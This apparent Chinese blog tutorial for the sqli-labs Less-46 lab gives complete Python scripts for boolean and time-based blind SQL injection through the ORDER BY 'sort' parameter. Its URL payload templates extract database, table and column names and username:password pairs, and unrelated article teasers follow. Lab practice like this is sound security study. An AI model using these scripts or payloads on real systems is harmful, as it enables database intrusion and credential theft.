渗透测试【order by盲注实践】

news2025/4/4 9:54:39

实践环境基于sqli-lab靶场的第46关进行

bool盲注

代码如下:

import requests
from bs4 import BeautifulSoup

# 定义获取用户名的函数,使用 BeautifulSoup 解析 HTML 页面,提取用户名信息
def get_username(resp):
    soup = BeautifulSoup(resp, 'html.parser')
    try:
        # 选择页面中指定位置的元素获取用户名
        username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
        return username
    except IndexError:
        # 若未找到对应元素,返回 None
        return None

# 定义布尔盲注的通用函数,可用于获取不同类型的信息(数据库名、表名、列名、数据等)
def boolean_blind_injection(query_template):
    result = ''
    position = 1
    while True:
        left = 32
        right = 127
        while left < right:
            mid = (left + right) // 2
            # 根据传入的查询模板和当前位置、中间字符值构造注入 URL
            url = query_template.format(pos=position, mid=mid)
            try:
                # 发送 GET 请求获取页面响应
                resp = requests.get(url)
                # 调用 get_username 函数获取用户名
                username = get_username(resp.text)
                if username == 'Dumb':
                    # 若用户名是 'Dumb',说明条件成立,更新左边界
                    left = mid + 1
                else:
                    # 否则更新右边界
                    right = mid
            except requests.RequestException as e:
                # 处理请求异常
                print(f"Request error: {e}")
                break

        if left == 32:
            # 若左边界为 32,说明已经获取完所有信息,退出循环
            break
        result += chr(left)
        position += 1
        print(result)
    return result

if __name__ == '__main__':
    # 数据库名注入的查询模板
    database_query = "http://localhost:8989/Less-46/index.php?sort=if(ascii(substr(database(),{pos},1))>{mid},id,username) -- "
    # 表名注入的查询模板
    table_query = "http://localhost:8989/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{pos},1))>{mid},id,username) -- "
    # 列名注入的查询模板
    column_query = "http://localhost:8989/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{pos},1))>{mid},id,username) -- "
    # 数据注入的查询模板
    data_query = "http://localhost:8989/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) from users),{pos},1))>{mid},id,username) -- "

    # 调用 boolean_blind_injection 函数进行数据库名注入
    boolean_blind_injection(database_query)
    # 调用 boolean_blind_injection 函数进行表名注入
    # boolean_blind_injection(table_query)
    # 调用 boolean_blind_injection 函数进行列名注入
    # boolean_blind_injection(column_query)
    # 调用 boolean_blind_injection 函数进行数据注入
    #boolean_blind_injection(data_query)

时间盲注

代码如下:

import requests
import time

# 配置参数
SLEEP_TIME = 3  # 每次注入的延时秒数
THRESHOLD = 1.5  # 响应时间判断阈值
TIMEOUT = SLEEP_TIME + 2  # 请求超时时间


def time_injection(query_template):
    result = ""
    pos = 1
    session = requests.Session()

    while True:
        low, high = 32, 126
        current_char = None

        while low <= high:
            mid = (low + high) // 2
            payload = query_template.format(
                pos=pos,
                mid=mid,
                sleep=SLEEP_TIME
            )

            try:
                start = time.time()
                session.get(payload, timeout=TIMEOUT)
                cost = time.time() - start

                if cost > THRESHOLD:  # 条件成立
                    low = mid + 1
                else:
                    high = mid - 1

            except requests.exceptions.Timeout:
                low = mid + 1  # 超时视为条件成立
            except Exception as e:
                print(f"请求错误: {e}")
                break

        # 检查有效字符
        if high >= 32 and high <= 126:
            result += chr(high)
            print(f"[*] 当前结果: {result}")
            pos += 1
        else:
            break

    return result


if __name__ == '__main__':
    # 定义注入模板(注意统一参数顺序)
    templates = {
        '数据库': "http://localhost:8989/Less-46/index.php?sort=IF(ASCII(SUBSTR(database(),{pos},1))>{mid},SLEEP({sleep}),0)",
        '表名': "http://localhost:8989/Less-46/index.php?sort=IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),{pos},1))>{mid},SLEEP({sleep}),0)",
        '列名': "http://localhost:8989/Less-46/index.php?sort=IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'),{pos},1))>{mid},SLEEP({sleep}),0)",
        '数据': "http://localhost:8989/Less-46/index.php?sort=IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(username,0x7e,password) FROM users),{pos},1))>{mid},SLEEP({sleep}),0)"
    }

    for name, template in templates.items():
        print(f"\n[+] 正在爆破 {name}...")
        data = time_injection(template)
        print(f"[+] {name} 结果: {data}\n")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2306763.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ROS的action通信——实现阶乘运算(三)

在ROS中除了常见的话题(topic&#xff09;通信、服务(server)通信等方式&#xff0c;还有action通信这一方式&#xff0c;由于可以实时反馈任务完成情况&#xff0c;该通信方式被广泛运用于机器人导航等任务中。本文将通过三个小节的分享&#xff0c;实现基于action通信的阶乘运…

007:Cesium.ScreenSpaceEventHandler 知识详解,示例代码

查看本专栏目录 - 本文是第 007个API内容详解 vue+cesium 示例教程200+目录 文章目录 一、ScreenSpaceEventHandler 的基本概念初始化 ScreenSpaceEventHandler二、注册事件**常见事件类型**三、注销事件四、示例代码:鼠标移动时显示坐标信息五、示例代码:鼠标左键点击拾取地…

期权帮|股指期货基差和价差有什么区别?

锦鲤三三每日分享期权知识&#xff0c;帮助期权新手及时有效地掌握即市趋势与新资讯&#xff01; 股指期货基差和价差有什么区别&#xff1f; 一、股指期货基差 股指期货基差是指股指期货价格与其对应的现货指数价格之间的差额。 股指期货基差计算公式&#xff1a;基差 现…

内网渗透测试-Vulnerable Docker靶场

靶场来源&#xff1a; Vulnerable Docker: 1 ~ VulnHub 描述&#xff1a;Down By The Docker 有没有想过在容器中玩 docker 错误配置、权限提升等&#xff1f; 下载此 VM&#xff0c;拿出您的渗透测试帽并开始使用 我们有 2 种模式&#xff1a; - HARD&#xff1a;这需要您将 d…

一键导出数据库表到Excel

工作中&#xff0c;我们经常需要将数据库表导出到Excel&#xff0c;通常我们会用数据库编辑器之类的工具提供的导出功能来导出&#xff0c;但是它们的导出功能通常都比较简单。 这篇文章将介绍一种简单易用并且功能强大的导出方法。 新增导出 打开的卢导表工具&#xff0c;新…

2025年电气工程与智能系统国际学术会议(IC2EIS 2025)

重要信息 官网&#xff1a;www.ic2eis.org(点击了解参会投稿等) 时间&#xff1a;2025年3月14-16日 地点&#xff1a;中国河南省郑州市 简介 2025年电气工程与智能系统国际学术会议&#xff08;IC2EIS 2025&#xff09;将于2025年3月14-16日在中国郑州举行。会议旨在为电气…

Activiti 5 + Spring Boot全流程开发指南

目录 一、环境搭建&#xff08;Spring Boot 2.x&#xff09; 1.1 依赖配置 1.2 配置文件 二、流程定义与部署 2.1 创建BPMN文件&#xff08;leave.bpmn&#xff09; 2.2 流程部署服务 三、流程操作核心实现 3.1 启动流程实例 3.2 查询待办任务 四、审批流程处理 4.1 …

docker安装etcd:docker离线安装etcd、docker在线安装etcd、etcd镜像下载、etcd配置详解、etcd常用命令、安装常见问题总结

官方网站 官方网址&#xff1a;etcd 二进制包下载&#xff1a;Install | etcd GitHub社区项目&#xff1a;etcd-io GitHub GitHub社区项目版本历史&#xff1a;Releases etcd-io/etcd GitHub 一、镜像下载 1、在线下载 在一台能连外网的linux上执行docker镜像拉取命令…

【云安全】云原生-Docker(六)Docker API 未授权访问

Docker API 未授权访问 是一个非常严重的安全漏洞&#xff0c;可能导致严重的安全风险。 什么是 Docker API &#xff1f; Docker API 是 Docker 容器平台提供的一组 RESTful API&#xff0c;用于与 Docker 守护程序进行通信和管理 Docker 容器。通过 Docker API&#xff0c;…

【人工智能顶刊合集】CCF-A/B/C类推荐所有期刊目录,中科院1区审稿极速,81天录用!

本期盘点【人工智能】领域CCF-A/B/C类中科院1-2区期刊最新影响因子、分区、审稿周期参考&#xff01; CCF-A类 Artificial Intelligence • 影响因子&#xff1a;5.1 • 期刊分区&#xff1a;JCR1区&#xff0c;中科院2区 • 年发文量&#xff1a;126 • 自引率&#xff1…

C#实战:基于腾讯云大模型知识引擎原子能力提供的文档解析API快速提取图片信息为MD文档

目录 一、大模型知识引擎 LKE介绍 1.1 如何开通服务? 1.2 大模型知识引擎组成 二、案例实战 2.1、创建项目 2.2、引入腾讯大模型知识引擎 LKE调用SDK依赖库 2.3、代码编写 2.4、界面设计 三、总结 今天借助腾讯云大模型知识引擎原子能力提供的文档解析API快速提取图片…

第7章_将应用程序与 Keycloak 集成

将应用程序与 Keycloak 集成 到目前为止&#xff0c;您已经了解了 Keycloak 中的主要概念和配置选项。在本章中&#xff0c;您将学习如何应用它们&#xff0c;以便您可以配置您的应用程序并将它们与 Keycloak 集成。 通过选定的集成场景和编码示例&#xff0c;您将根据应用程…

千峰React:案例一

做这个案例捏 因为需要用到样式&#xff0c;所以创建一个样式文件&#xff1a; //29_实战.module.css .active{text-decoration:line-through } 然后创建jsx文件&#xff0c;修改main文件&#xff1a;导入Todos&#xff0c;写入Todos组件 import { StrictMode } from react …

ChatGPT入驻Safari,AI搜索时代加速到来

2月25日&#xff0c;人工智能领域巨头OpenAI宣布了一项重磅更新&#xff1a;为其广受欢迎的ChatGPT应用新增Safari浏览器扩展功能&#xff0c;并支持用户将ChatGPT设置为Safari地址栏的默认搜索引擎。这一举措标志着OpenAI在将ChatGPT整合进用户日常网络浏览体验方面迈出了重要…

【错误记录】Arrays.asList 的坑

文章目录 概要原因小结 概要 最近在写一个需求的时候用到了这个方法生成一个 List&#xff0c;接着再往里面添加数据的时候就报错了&#xff0c;比如下面的例子。 public class Main {public static void main(String[] args) {List<Integer> res Arrays.asList(1, 2,…

JConsole远程连接错误解决

个人博客地址&#xff1a;JConsole远程连接错误解决 | 一张假钞的真实世界 程序启动命令及参数如下&#xff1a; $ java -Dcom.sent.jmxremote.sslfalse -jar math-game.jar 防火墙已经放开30000端口访问&#xff0c;如下&#xff1a; $ telnet 192.168.72.156 30000 Tryin…

CineMaster: 用于电影文本到视频生成的 3D 感知且可控的框架。

CineMaster是一种 3D 感知且可控的文本到视频生成方法允许用户在 3D 空间中联合操纵物体和相机&#xff0c;以创作高质量的电影视频。 相关链接 论文&#xff1a;cinemaster-dev.github.io 论文介绍 CineMaster是一种用于 3D 感知和可控文本到视频生成的新型框架。目标是让用…

解决后端跨域问题

目录 一、什么是跨域问题&#xff1f; 1、跨域问题的定义 2、举例 3、为什么会有跨域问题的存在&#xff1f; 二、解决跨域问题 1、新建配置类 2、编写代码 三、结语 一、什么是跨域问题&#xff1f; 1、跨域问题的定义 跨域问题&#xff08;Cross-Origin Resource Sh…

防爆手机科普:与普通手机的区别?在危险作业场景扮演什么角色?

在易燃易爆的工业环境中&#xff0c;如石油化工、矿山开采等领域&#xff0c;一款具备特殊安全性能的通讯工具显得尤为重要。这就是我们今天要深入探讨的主题——防爆手机。那么&#xff0c;什么是防爆手机&#xff1f;它与普通手机有何区别&#xff1f;防爆手机在这些危险作业…

12.MySQL版题目设计|创建用户并赋权|MySQLWorkbench创建表结构|测试录题功能(mysql)

在数据库中设计可以远程登陆的MySQL用户&#xff0c;并给他赋权 oj_client设计表结构 数据库&#xff1a;oj&#xff0c; 表&#xff1a;oj_questions开始编码 连接访问数据库 创建用户并赋权 mysql -uroot -p进入mysql use mysql;select User, Host from user;create user…